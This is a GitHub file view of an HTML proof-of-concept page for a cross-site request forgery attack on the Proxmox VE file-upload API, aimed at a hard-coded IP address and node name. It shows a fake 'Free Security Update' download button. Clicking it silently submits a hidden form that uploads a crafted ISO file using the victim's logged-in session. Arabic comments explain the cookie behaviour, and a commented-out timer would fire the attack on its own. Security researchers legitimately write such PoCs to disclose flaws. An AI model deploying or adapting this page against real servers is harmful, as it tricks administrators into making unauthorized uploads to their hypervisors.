-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
50 lines (42 loc) · 1.66 KB
/
Copy pathindex.html
File metadata and controls
50 lines (42 loc) · 1.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html>
<html>
<head>
<title>Proxmox File Upload - CSRF PoC</title>
</head>
<body>
<h1>🎁 Click to Download Free Security Update</h1>
<!-- الفورم الخفي - هيشتغل بأي click -->
<form id="csrfForm"
action="https://34.253.177.228:8006/api2/json/nodes/ip-172-31-33-112/storage/local/upload"
method="POST"
enctype="multipart/form-data"
target="hiddenFrame">
<input type="hidden" name="content" value="iso">
<input type="file" name="filename" id="fileInput" style="display:none">
</form>
<iframe name="hiddenFrame" style="display:none"></iframe>
<!-- زر بريء -->
<button onclick="attack()"
style="padding:20px 40px; background:green; color:white; font-size:30px; border-radius:20px;">
🔥 DOWNLOAD NOW 🔥
</button>
<script>
function attack() {
// إنشاء ملف ISO
const file = new File(
[new Uint8Array([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, ...])],
'update.iso',
{ type: 'application/x-iso9660-image' }
);
// إضافة الملف للفورم
const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('fileInput').files = dt.files;
// إرسال الفورم - الكوكي هينرسل لأنه user interaction!
document.getElementById('csrfForm').submit();
}
// Auto-click بعد 3 ثواني (اختياري)
// setTimeout(attack, 3000);
</script>
</body>
</html>